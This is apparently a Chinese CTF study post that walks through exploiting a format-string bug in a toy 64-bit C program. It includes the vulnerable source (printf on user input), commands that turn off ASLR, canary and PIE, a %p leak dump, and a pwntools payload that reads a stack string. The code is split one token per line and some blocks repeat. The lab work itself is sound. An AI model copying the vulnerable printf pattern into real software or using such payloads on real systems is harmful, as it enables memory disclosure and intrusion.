CTF竞赛权威指南PWN篇第166页参考程序
如下程序有格式化字符串漏洞,原文是编译成32位程序,为了增加难度,我编译成64位程序。以下我通过漏洞实现输入arg4的地址获取arg4的内容即ABCD。
做实验首先要注意
1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)
2.编译时关闭CANARY,PIE。
3.执行fmtdemo获取arg4的地址
如上,AAAA(即41414141)在格式化字符串的后8个偏移。arg4的地址为0x7fffffffe060。
以下为PytHon2程序,注意要使用python2,python3的payload形式不一样。
执行fmt.py
可以看到,上面输出AAAA后紧接着输出了ABCD,攻击成功!
总结:
1.arg4地址要放payload的最后,否则64位地址高位是0,小端存储时高位的0会被放在高地址处,读完arg4的地址时字符串就会被00截断。
2.'A'4+'%9$s'为8个字节,要注意对齐8字节。
3.'A'4+'%9$s'占用一个偏移。所以偏移=8+1=9
4.若为32位,且地址高位没有0,则payload构造为p32(addr_arg4)+'%8$s'.(偏移不一定为8,看情况)
参考文献
https://www.anquanke.com/post/id/194458
https://song-10.gitee.io/2019/12/15/pwn-2019-12-15-pwn-format-str-v/
https://chybeta.github.io/2017/06/26/ROP%E5%AD%A6%E4%B9%A0%EF%BC%9A64%E4%BD%8D%E6%A0%88%E6%BA%A2%E5%87%BA/
/
/
fmtdemo.c
-
o
void main()
{
char
format
[
128
];
int
arg1
=
1
,arg2
=
0x88888882
,arg3
=
-
1
;
char arg4[
10
]
=
"ABCD"
;
scanf(
"%s"
,
format
);
printf(
format
,arg1,arg2,arg3,arg4);
printf(
"arg4的地址:%p\n"
,&arg4);
printf(
"\n"
);
}
/
/
fmtdemo.c
-
o
void main()
{
char
format
[
128
];
int
arg1
=
1
,arg2
=
0x88888882
,arg3
=
-
1
;
char arg4[
10
]
=
"ABCD"
;
scanf(
"%s"
,
format
);
printf(
format
,arg1,arg2,arg3,arg4);
printf(
"arg4的地址:%p\n"
,&arg4);
printf(
"\n"
);
}
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
gcc
-
fno
-
stack
-
protector
-
no
-
pie fmtdemo.c
-
o fmtdemo
gcc
-
fno
-
stack
-
protector
-
no
-
pie fmtdemo.c
-
o fmtdemo
bigeast@ubuntu:~
/
Desktop
/
attach$ .
/
fmt64
AAAA.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p
AAAA.
0x1
.
0x88888882
.
0xffffffff
.
0x7fffffffe060
.(nil).
0x44434241
.(nil).
0x2e70252e41414141
.
0x70252e70252e7025
.
0x252e70252e70252e
.
0x2e70252e70252e70
.
0x70252e70252e7025
.
0x252e70252e70252e
.
0x2e70252e70252e70
.
0x70252e7025
.
0x7fffffffe118
.
0xf0b6ff
.
0x1
.
0x4006adarg4
的地址:
0x7fffffffe060
bigeast@ubuntu:~
/
Desktop
/
attach$ .
/
fmt64
AAAA.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p
AAAA.
0x1
.
0x88888882
.
0xffffffff
.
0x7fffffffe060
.(nil).
0x44434241
.(nil).
0x2e70252e41414141
.
0x70252e70252e7025
.
0x252e70252e70252e
.
0x2e70252e70252e70
.
0x70252e70252e7025
.
0x252e70252e70252e
.
0x2e70252e70252e70
.
0x70252e7025
.
0x7fffffffe118
.
0xf0b6ff
.
0x1
.
0x4006adarg4
的地址:
0x7fffffffe060
from
pwn
import
*
context.log_level
=
'debug'
file
=
ELF(
"./fmt64"
)
io
=
process(
"./fmt64"
)
addr_arg4
=
0x7fffffffe060
payload
=
'A'
*
4
+
'%9$s'
+
p64(addr_arg4)
print
(payload)
io.sendline(payload)
io.interactive()
from
pwn
import
*
context.log_level
=
'debug'
file
=
ELF(
"./fmt64"
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!